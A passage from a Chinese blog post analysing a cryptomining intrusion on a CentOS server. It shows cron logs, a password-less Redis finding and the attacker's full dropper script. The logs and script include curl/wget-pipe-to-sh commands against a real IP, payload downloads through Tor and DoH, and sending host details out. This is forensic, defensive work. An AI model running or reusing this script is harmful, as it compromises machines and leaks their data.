\u6587\u4ef6\u628a\u5185\u5bb9\u590d\u5236\u8fc7\u6765\u3002<\/p>\n\n<p>\u5176\u6b21\uff0c\u6211\u4e0d\u77e5\u9053\u4ed6\u662f\u54ea\u4e00\u79cd\u538b\u7f29\u7b49\u7ea7\uff0c\u4e0d\u8fc7\u8fd9\u4e2a\u53ef\u4ee5\u679a\u4e3e\u89e3\u51b3\uff0c\u53ea\u662f\u53ef\u80fd\u4f1a\u82b1\u70b9\u65f6\u95f4\u3002<\/p>\n\n<p>\u6700\u91cd\u8981\u7684\u4e00\u70b9\uff0c\u53c8\u5230\u4e86\u7ec4\u4f1a\u7684\u65f6\u5019\u4e86\uff0c\u6211\u4e0d\u80fd\u518d\u6478\u9c7c\u4e86\uff0c\u4e0d\u7136\u5bfc\u5e08\u95ee\u6211\u5e72\u4e86\u5565\uff0c\u6211\u53c8\u5565\u4e5f\u6ca1\u5e72 :)<\/p>\n\n<p>\u8fd9\u4e2a\u95ee\u9898\u6682\u65f6\u5c31\u4e0d\u641e\u4e86 :)<\/p>\n\n<h1 id=\"\u5165\u4fb5\u6eaf\u6e90\">\u5165\u4fb5\u6eaf\u6e90<\/h1>\n\n<p>\u90a3\u4e48\u5bf9\u9762\u662f\u600e\u4e48\u6253\u8fdb\u6765\u7684\u5462\uff1f<\/p>\n\n<p>centos7\u6709\u8bb0\u5f55 crontab \u65e5\u5fd7\u7684\u5730\u65b9\uff0c\u67e5\u770b crontab \u7684\u7f16\u8f91\u8bb0\u5f55\u5c31\u77e5\u9053\u662f\u57289\u53f7\u4e0b\u5348 12:55:01 \u9996\u6b21\u7f16\u8f91 crontab \u7684<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n<\/pre><\/td><td class=\"rouge-code\"><pre>[root@localhost log]# cat cron*|grep RELOAD\nJul 12 12:38:01 localhost crond[12721]: (root) RELOAD (\/var\/spool\/cron\/root)\nJul 12 15:08:01 localhost crond[22892]: (root) RELOAD (\/var\/spool\/cron\/root)\nJul 12 15:34:01 localhost crond[25783]: (root) RELOAD (\/var\/spool\/cron\/root)\nJul  9 12:55:01 localhost crond[2554]: (root) RELOAD (\/var\/spool\/cron\/root)\nJul  9 14:30:01 localhost crond[15227]: (root) RELOAD (\/var\/spool\/cron\/root)\nJul  9 15:37:01 localhost crond[24166]: (root) RELOAD (\/var\/spool\/cron\/root)\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u90a3\u4e48\uff0c\u4ece<code class=\"language-plaintext highlighter-rouge\">2021.6.13<\/code> \u5f00\u59cb\uff0c\u5230<code class=\"language-plaintext highlighter-rouge\">2021.7.12<\/code>\uff0c\u6267\u884c\u7684crontab\u7684\u8bb0\u5f55\u518d\u53cd\u590d\u8fc7\u6ee4\uff0c\u8fd0\u7528\u4eba\u5de5\u7684\u542f\u53d1\u5f0f\u641c\u7d22\u7b97\u6cd5 :)<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210712193241.png\" alt=\"\" \/><\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n<\/pre><\/td><td class=\"rouge-code\"><pre>Jul 12 10:29:01 localhost CROND[4295]: (root) CMD (\/opt\/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)Jul 12 11:29:01 localhost CROND[8070]: (root) CMD (\/opt\/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul 12 12:05:01 localhost CROND[10604]: (root) CMD (\/root\/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul 12 12:29:01 localhost CROND[12158]: (root) CMD (\/opt\/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul 12 13:05:01 localhost CROND[14585]: (root) CMD (\/root\/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul 12 14:05:01 localhost CROND[18502]: (root) CMD (\/root\/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul 12 14:29:01 localhost CROND[20237]: (root) CMD (\/opt\/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul 12 15:05:01 localhost CROND[22744]: (root) CMD (\/root\/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul 12 15:07:13 localhost crontab[22899]: (root) BEGIN EDIT (root)\nJul 12 15:07:17 localhost crontab[22899]: (root) END EDIT (root)\nJul 12 15:29:01 localhost CROND[24501]: (root) CMD (\/opt\/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul 12 15:46:14 localhost crontab[28007]: (root) BEGIN EDIT (root)\nJul 12 15:46:30 localhost crontab[28152]: (root) BEGIN EDIT (root)\nJul 12 15:46:33 localhost crontab[28152]: (root) END EDIT (root)\nJun 15 03:42:01 localhost anacron[24559]: Job `cron.weekly' started\nJun 22 03:00:01 localhost anacron[7132]: Job `cron.weekly' started\nJun 22 03:01:01 localhost anacron[7216]: Job `cron.monthly' locked by another anacron - skipping\nJun 22 03:20:01 localhost anacron[7132]: Job `cron.monthly' started\nJun 29 03:29:01 localhost anacron[31965]: Job `cron.weekly' started\nJul  6 03:42:01 localhost anacron[20977]: Job `cron.weekly' started\nJul  9 12:48:01 localhost crond[723]: (CRON) bad minute (\/etc\/cron.d\/systemdd)\nJul  9 12:48:01 localhost crond[723]: (CRON) bad minute (\/etc\/cron.d\/systemdd)\nJul  9 12:48:01 localhost crond[723]: (CRON) bad minute (\/etc\/cron.d\/systemdd)\nJul  9 12:48:01 localhost CROND[388]: (root) CMD (curl -fsS 139.59.150.7:443\/rl|sh)\nJul  9 12:48:01 localhost CROND[389]: (root) CMD (wget -qO- 139.59.150.7:443\/rl|sh)\nJul  9 12:48:02 localhost CROND[384]: (root) CMDOUT (sh: line 1: XRANDOM: command not found)\nJul  9 12:48:02 localhost CROND[383]: (root) CMDOUT (sh: line 1: XRANDOM: command not found)\nJul  9 13:05:02 localhost CROND[3957]: (root) CMD (\/root\/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul  9 13:29:01 localhost CROND[6672]: (root) CMD (\/opt\/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul  9 13:33:59 localhost crond[7505]: (CRON) bad minute (\/etc\/cron.d\/systemdd)\nJul  9 13:33:59 localhost crond[7505]: (CRON) bad minute (\/etc\/cron.d\/systemdd)\nJul  9 13:33:59 localhost crond[7505]: (CRON) bad minute (\/etc\/cron.d\/systemdd)\nJul  9 13:35:01 localhost CROND[7580]: (root) CMD (wget -qO- 139.59.150.7:443\/rl|sh)\nJul  9 13:35:01 localhost CROND[7581]: (root) CMD (curl -fsS 139.59.150.7:443\/rl|sh)\nJul  9 13:35:02 localhost CROND[7577]: (root) CMDOUT (sh: line 1: XRANDOM: command not found)\nJul  9 13:35:03 localhost CROND[7576]: (root) CMDOUT (sh: line 1: XRANDOM: command not found)\nJul  9 14:05:01 localhost CROND[11627]: (root) CMD (\/root\/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul  9 14:29:04 localhost CROND[15270]: (root) CMD (\/opt\/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul  9 16:05:02 localhost CROND[28101]: (root) CMD (\/root\/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul  9 16:29:03 localhost CROND[30857]: (root) CMD (\/opt\/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul  9 18:05:01 localhost CROND[9615]: (root) CMD (\/root\/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul  9 18:29:01 localhost CROND[12804]: (root) CMD (\/opt\/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\nJul 12 10:05:01 localhost CROND[2015]: (root) CMD (\/root\/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u91cd\u70b9\u5173\u6ce8\u4e24\u4e2a\u5173\u952e\u7684\u65f6\u95f4\u8282\u70b9<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n<\/pre><\/td><td class=\"rouge-code\"><pre>Jul  9 12:48:01 localhost CROND[388]: (root) CMD (curl -fsS 139.59.150.7:443\/rl|sh)\nJul  9 12:48:01 localhost CROND[389]: (root) CMD (wget -qO- 139.59.150.7:443\/rl|sh)\nJul  9 13:05:02 localhost CROND[3957]: (root) CMD (\/root\/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;)\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u5728\u6267\u884c\u76ee\u524d\u7684\u6316\u77ff\u7a0b\u5e8f\u4e4b\u524d\uff0c\u653b\u51fb\u8005\u9996\u5148\u6267\u884c\u4e86<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>curl -fsS 139.59.150.7:443\/rl|sh\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u5185\u5bb9\u5982\u4e0b<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44\n45\n46\n47\n48\n49\n50\n51\n52\n53\n54\n55\n56\n57\n58\n59\n60\n61\n<\/pre><\/td><td class=\"rouge-code\"><pre>XRANDOM\n<span class=\"nb\">exec<\/span> &amp;&gt;\/dev\/null\n<span class=\"nb\">export <\/span><span class=\"nv\">PATH<\/span><span class=\"o\">=<\/span><span class=\"nv\">$PATH<\/span>:<span class=\"nv\">$HOME<\/span>:\/bin:\/sbin:\/usr\/bin:\/usr\/sbin:\/usr\/local\/bin:\/usr\/local\/sbin\n\n<span class=\"k\">function <\/span>kurl<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n  <span class=\"nb\">read <\/span>proto server path <span class=\"o\">&lt;&lt;&lt;<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"k\">${<\/span><span class=\"nv\">1<\/span><span class=\"p\">\/\/\/\/ <\/span><span class=\"k\">}<\/span><span class=\"si\">)<\/span>\n  <span class=\"nv\">DOC<\/span><span class=\"o\">=<\/span>\/<span class=\"k\">${<\/span><span class=\"nv\">path<\/span><span class=\"p\">\/\/ \/\/<\/span><span class=\"k\">}<\/span>\n  <span class=\"nv\">HOST<\/span><span class=\"o\">=<\/span><span class=\"k\">${<\/span><span class=\"nv\">server<\/span><span class=\"p\">\/\/<\/span>:<span class=\"p\">*<\/span><span class=\"k\">}<\/span>\n  <span class=\"nv\">PORT<\/span><span class=\"o\">=<\/span><span class=\"k\">${<\/span><span class=\"nv\">server<\/span><span class=\"p\">\/\/*<\/span>:<span class=\"k\">}<\/span>\n  <span class=\"o\">[[<\/span> x<span class=\"s2\">\"<\/span><span class=\"k\">${<\/span><span class=\"nv\">HOST<\/span><span class=\"k\">}<\/span><span class=\"s2\">\"<\/span> <span class=\"o\">==<\/span> x<span class=\"s2\">\"<\/span><span class=\"k\">${<\/span><span class=\"nv\">PORT<\/span><span class=\"k\">}<\/span><span class=\"s2\">\"<\/span> <span class=\"o\">]]<\/span> <span class=\"o\">&amp;&amp;<\/span> <span class=\"nv\">PORT<\/span><span class=\"o\">=<\/span>80\n\n  <span class=\"nb\">exec <\/span>3&lt;<span class=\"o\">&gt;<\/span>\/dev\/tcp\/<span class=\"k\">${<\/span><span class=\"nv\">HOST<\/span><span class=\"k\">}<\/span>\/<span class=\"nv\">$PORT<\/span>\n  <span class=\"nb\">echo<\/span> <span class=\"nt\">-en<\/span> <span class=\"s2\">\"GET <\/span><span class=\"k\">${<\/span><span class=\"nv\">DOC<\/span><span class=\"k\">}<\/span><span class=\"s2\"> HTTP\/1.0<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">Host: <\/span><span class=\"k\">${<\/span><span class=\"nv\">HOST<\/span><span class=\"k\">}<\/span><span class=\"se\">\\r\\n\\r\\n<\/span><span class=\"s2\">\"<\/span> <span class=\"o\">&gt;<\/span>&amp;3\n  <span class=\"o\">(<\/span><span class=\"k\">while <\/span><span class=\"nb\">read <\/span>line<span class=\"p\">;<\/span> <span class=\"k\">do<\/span>\n   <span class=\"o\">[[<\/span> <span class=\"s2\">\"<\/span><span class=\"nv\">$line<\/span><span class=\"s2\">\"<\/span> <span class=\"o\">==<\/span> <span class=\"s1\">$'<\/span><span class=\"se\">\\r<\/span><span class=\"s1\">'<\/span> <span class=\"o\">]]<\/span> <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">break\n  <\/span><span class=\"k\">done<\/span> <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">cat<\/span><span class=\"o\">)<\/span> &lt;&amp;3\n  <span class=\"nb\">exec <\/span>3&gt;&amp;-\n<span class=\"o\">}<\/span>\n\n<span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> <span class=\"nv\">$HOME<\/span>\/ss\ncurl <span class=\"nt\">-V<\/span> <span class=\"o\">||<\/span> wget <span class=\"nt\">-q<\/span> https:\/\/github.com\/moparisthebest\/static-curl\/releases\/download\/v7.75.0\/curl-amd64 <span class=\"nt\">-O<\/span> <span class=\"nv\">$HOME<\/span>\/curl<span class=\"p\">;<\/span><span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$HOME<\/span>\/curl\ncurl <span class=\"nt\">-V<\/span> <span class=\"o\">||<\/span> kurl http:\/\/139.59.150.7:443\/curl <span class=\"o\">&gt;<\/span> <span class=\"nv\">$HOME<\/span>\/curl<span class=\"p\">;<\/span><span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$HOME<\/span>\/curl\nss <span class=\"nt\">-v<\/span>   <span class=\"o\">||<\/span> kurl http:\/\/139.59.150.7:443\/ss   <span class=\"o\">&gt;<\/span> <span class=\"nv\">$HOME<\/span>\/ss<span class=\"p\">;<\/span><span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$HOME<\/span>\/ss\nss <span class=\"nt\">-v<\/span>   <span class=\"o\">||<\/span> curl <span class=\"nt\">-s<\/span> http:\/\/139.59.150.7:443\/ss <span class=\"nt\">-o<\/span> <span class=\"nv\">$HOME<\/span>\/ss<span class=\"p\">;<\/span><span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$HOME<\/span>\/ss\nps      <span class=\"o\">||<\/span> curl <span class=\"nt\">-s<\/span> http:\/\/139.59.150.7:443\/ps <span class=\"nt\">-o<\/span> <span class=\"nv\">$HOME<\/span>\/ps<span class=\"p\">;<\/span><span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$HOME<\/span>\/ps\n\n<span class=\"nv\">d<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">grep <\/span>x:<span class=\"si\">$(<\/span><span class=\"nb\">id<\/span> <span class=\"nt\">-u<\/span><span class=\"si\">)<\/span>: \/etc\/passwd|cut <span class=\"nt\">-d<\/span>: <span class=\"nt\">-f6<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">c<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">\"curl -4fsSLkA- -m200\"<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">t<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">\"rxmxpzfkydkulhhqnuftbmf6d5q67jjchopmh4ofszfwwnmz4bqq2fid\"<\/span><span class=\"si\">)<\/span>\n\nsockz<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n<span class=\"nv\">n<\/span><span class=\"o\">=(<\/span>doh.defaultroutes.de dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com <span class=\"k\">fi<\/span>.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch<span class=\"o\">)<\/span>\n<span class=\"nv\">p<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">\"dns-query?name=relay.tor2socks.in\"<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">s<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nv\">$c<\/span> https:\/\/<span class=\"k\">${<\/span><span class=\"nv\">n<\/span><span class=\"p\">[<\/span><span class=\"k\">$((<\/span>RANDOM%10<span class=\"k\">))<\/span><span class=\"p\">]<\/span><span class=\"k\">}<\/span>\/<span class=\"nv\">$p<\/span> | <span class=\"nb\">grep<\/span> <span class=\"nt\">-oE<\/span> <span class=\"s2\">\"<\/span><span class=\"se\">\\b<\/span><span class=\"s2\">([0-9]{1,3}<\/span><span class=\"se\">\\.<\/span><span class=\"s2\">){3}[0-9]{1,3}<\/span><span class=\"se\">\\b<\/span><span class=\"s2\">\"<\/span> |tr <span class=\"s1\">' '<\/span> <span class=\"s1\">'\\n'<\/span>|grep <span class=\"nt\">-Ev<\/span> <span class=\"o\">[<\/span>.]0|sort <span class=\"nt\">-uR<\/span>|head <span class=\"nt\">-n<\/span> 1<span class=\"si\">)<\/span>\n<span class=\"o\">}<\/span>\n\nfexe<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n<span class=\"k\">for <\/span>i <span class=\"k\">in<\/span> <span class=\"nb\">.<\/span> <span class=\"nv\">$HOME<\/span> \/usr\/bin <span class=\"nv\">$d<\/span> \/tmp \/var\/tmp <span class=\"p\">;<\/span><span class=\"k\">do <\/span><span class=\"nb\">echo exit<\/span> <span class=\"o\">&gt;<\/span> <span class=\"nv\">$i<\/span>\/i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$i<\/span>\/i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">cd<\/span> <span class=\"nv\">$i<\/span> <span class=\"o\">&amp;&amp;<\/span> .\/i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">break<\/span><span class=\"p\">;<\/span><span class=\"k\">done<\/span>\n<span class=\"o\">}<\/span>\n\nu<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\nsockz\n<span class=\"nv\">f<\/span><span class=\"o\">=<\/span>\/l\/rd.<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-m<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">x<\/span><span class=\"o\">=<\/span>.\/<span class=\"si\">$(<\/span><span class=\"nb\">date<\/span>|md5sum|cut <span class=\"nt\">-f1<\/span> <span class=\"nt\">-d-<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">r<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span>curl <span class=\"nt\">-4fsSLk<\/span> checkip.amazonaws.com||curl <span class=\"nt\">-4fsSLk<\/span> ip.sb<span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">whoami<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-m<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-n<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span>ip a|grep <span class=\"s1\">'inet '<\/span>|awk <span class=\"o\">{<\/span><span class=\"s1\">'print $2'<\/span><span class=\"o\">}<\/span>|md5sum|awk <span class=\"o\">{<\/span><span class=\"s1\">'print $1'<\/span><span class=\"o\">}<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span>crontab <span class=\"nt\">-l<\/span>|base64 <span class=\"nt\">-w0<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">$c<\/span> <span class=\"nt\">-x<\/span> socks5h:\/\/<span class=\"nv\">$s<\/span>:9050 <span class=\"nv\">$t<\/span>.onion<span class=\"nv\">$f<\/span> <span class=\"nt\">-o<\/span><span class=\"nv\">$x<\/span> <span class=\"nt\">-e<\/span><span class=\"nv\">$r<\/span> <span class=\"o\">||<\/span> <span class=\"nv\">$c<\/span> <span class=\"nv\">$1$f<\/span> <span class=\"nt\">-o<\/span><span class=\"nv\">$x<\/span> <span class=\"nt\">-e<\/span><span class=\"nv\">$r<\/span>\n<span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$x<\/span><span class=\"p\">;<\/span><span class=\"nv\">$x<\/span><span class=\"p\">;<\/span><span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> <span class=\"nv\">$x<\/span>\n<span class=\"o\">}<\/span>\n\n<span class=\"k\">for <\/span>h <span class=\"k\">in <\/span>tor2web.in tor2web.it onion.foundation onion.com.de onion.sh tor2web.su\n<span class=\"k\">do\nif<\/span> <span class=\"o\">!<\/span> <span class=\"nb\">ls<\/span> \/proc\/<span class=\"si\">$(<\/span><span class=\"nb\">head<\/span> <span class=\"nt\">-n<\/span> 1 \/tmp\/.X11-unix\/01<span class=\"si\">)<\/span>\/status<span class=\"p\">;<\/span> <span class=\"k\">then\n<\/span>fexe<span class=\"p\">;<\/span>u <span class=\"nv\">$t<\/span>.<span class=\"nv\">$h<\/span>\n<span class=\"nb\">ls<\/span> \/proc\/<span class=\"si\">$(<\/span><span class=\"nb\">head<\/span> <span class=\"nt\">-n<\/span> 1 \/tmp\/.X11-unix\/01<span class=\"si\">)<\/span>\/status <span class=\"o\">||<\/span> <span class=\"o\">(<\/span><span class=\"nb\">cd<\/span> \/tmp<span class=\"p\">;<\/span>u <span class=\"nv\">$t<\/span>.<span class=\"nv\">$h<\/span><span class=\"o\">)<\/span>\n<span class=\"nb\">ls<\/span> \/proc\/<span class=\"si\">$(<\/span><span class=\"nb\">head<\/span> <span class=\"nt\">-n<\/span> 1 \/tmp\/.X11-unix\/01<span class=\"si\">)<\/span>\/status <span class=\"o\">||<\/span> <span class=\"o\">(<\/span><span class=\"nb\">cd<\/span> \/dev\/shm<span class=\"p\">;<\/span>u <span class=\"nv\">$t<\/span>.<span class=\"nv\">$h<\/span><span class=\"o\">)<\/span>\n<span class=\"k\">else\n<\/span><span class=\"nb\">break\n<\/span><span class=\"k\">fi\ndone\n<\/span><span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> \/etc\/cron.d\/systemdd\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u5185\u5bb9\u548c\u5206\u6790\u8fc7\u7684\u811a\u672c\u5dee\u4e0d\u591a\uff0c\u6ca1\u6709\u4ec0\u4e48\u65b0\u7684\u6d88\u606f\u3002<\/p>\n\n<p>\u5947\u5b89\u4fe1 ti \u548c\u5fae\u6b65\u5728\u7ebf\u6ca1\u6709\u5173\u4e8e <code class=\"language-plaintext highlighter-rouge\">139.59.150.7<\/code> \u66f4\u591a\u7684\u6bd4\u8f83\u6709\u7528\u7684\u4fe1\u606f\u4e86\u3002<\/p>\n\n<p>\u67e5\u4e86\u4e0b ssh \u8bb0\u5f55\uff0c\u53ea\u4fdd\u7559\u4e86\u6700\u8fd1\u4e00\u5468\u591a\u7684\u8bb0\u5f55\uff0c\u4e4b\u524d\u7684\u8bb0\u5f55\u6ca1\u4e86\uff0c\u53e3\u4ee4\u4e5f\u4e0d\u662f\u5f31\u53e3\u4ee4\u554a :(<\/p>\n\n<p>\u6ce8\u610f\u5230\u673a\u5668\u5f00\u4e86 6379<\/p>\n\n<p>\u8bd5\u4e86\u4e0b\uff0credis \u6ca1\u5bc6\u7801 :)<\/p>\n\n<p>\u4f46\u662f\u771f\u7684\u662f redis \u6253\u8fdb\u6765\u7684\u4e48\uff0c\u770b\u770b redis\u7684\u6267\u884c\u8bb0\u5f55<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre><span class=\"nb\">cat<\/span> ~\/.rediscli_history\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u91cc\u9762\u6ca1\u6709\u7528\u5230\u548c <code class=\"language-plaintext highlighter-rouge\">config<\/code> \u7b49\u53ef\u7591\u7684\u547d\u4ee4\uff0c\u610f\u5473\u7740\u653b\u51fb\u8005\u53ef\u80fd\u6ca1\u6709\u7528 redis \u7684\u6d1e\u6253\u8fdb\u6765\uff0c\u6216\u8005\u6253\u8fdb\u6765\u4e86\u7136\u540e\u5220\u9664\u4e86\u8bb0\u5f55\uff0c\u4e2a\u4eba\u611f\u89c9\u4f7f\u7528 redis \u6d1e\u7684\u6982\u7387\u8f83\u5c0f<\/p>\n\n<p>\u90a3\u4e48\u653b\u51fb\u8005\u5230\u5e95\u5982\u4f55\u8fdb\u6765\u7684\uff0c\u76ee\u524d\u8fd8\u662f\u672a\u89e3\u4e4b\u8c1c :)<\/p>\n\n<p>\u8fd9\u4e2a\u653b\u51fb\u8005\u4e3a\u4e86\u89c4\u907f\u76d1\u6d4b\uff0c\u505a\u4e86\u4e0d\u5c11\u7684\u5de5\u4f5c\uff0c\u8ba9\u4eba\u611f\u89c9\u7a0d\u5fae\u6bd4\u4ee5\u524d\u5206\u6790\u8fc7\u7684\u9ed1\u4ea7\u6709\u610f\u601d\u4e00\u70b9\u4e86\u3002\u521a\u5f00\u59cb\u5206\u6790\u7684\u65f6\u5019\u89c9\u5f97\u4ed6\u7684\u6076\u610f\u7a0b\u5e8f\u592a\u957f\u4e86\uff0c\u4f46\u662f\u4ed4\u7ec6\u5206\u6790\u53ef\u4ee5\u77e5\u9053\u4ed6\u4eec\u7684\u4e3a\u4e86\u89c4\u907f\u5ba1\u800c\u505a\u7684\u9690\u85cf\u8fd8\u662f\u5f88\u6709\u4ef7\u503c\u7684\uff0c\u5305\u62ec\u4f7f\u7528 doh \u89e3\u6790\u57df\u540d\uff0c tor \u4ee3\u7406\u4e0b\u8f7d\u6076\u610f\u6587\u4ef6\uff0c\u5e94\u8be5\u80fd\u6210\u529f\u7ed5\u8fc7 IDS \u7684\u5ba1\u67e5\u3002<\/p>\n\n<p>\u770b\u5b8c\u4ee3\u7801\uff0c\u611f\u89c9\u8fd9\u53ef\u80fd\u4e0d\u53ea\u662f\u6316\u77ff\u8fd9\u4e48\u7b80\u5355\uff0c\u4ed6\u7684\u8f7d\u8377\u4efb\u610f\u4fee\u6539\u5c31\u53ef\u4ee5\u53d8\u6210\u5bf9\u6297\u4e00\u822c\u7684 IDS \u7684\u6218\u7565\u6b66\u5668\u4e86<\/p>\n\n<p>\u8981\u8bf4\u8fd9\u662fAPT\u6211\u90fd\u4fe1\uff0c\u4e0d\u8fc7\u8fd9\u4f3c\u4e4e\u7684\u786e\u662f\u4e2a\u6316\u77ff\u7a0b\u5e8f :)<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210712165241.png\" alt=\"\" 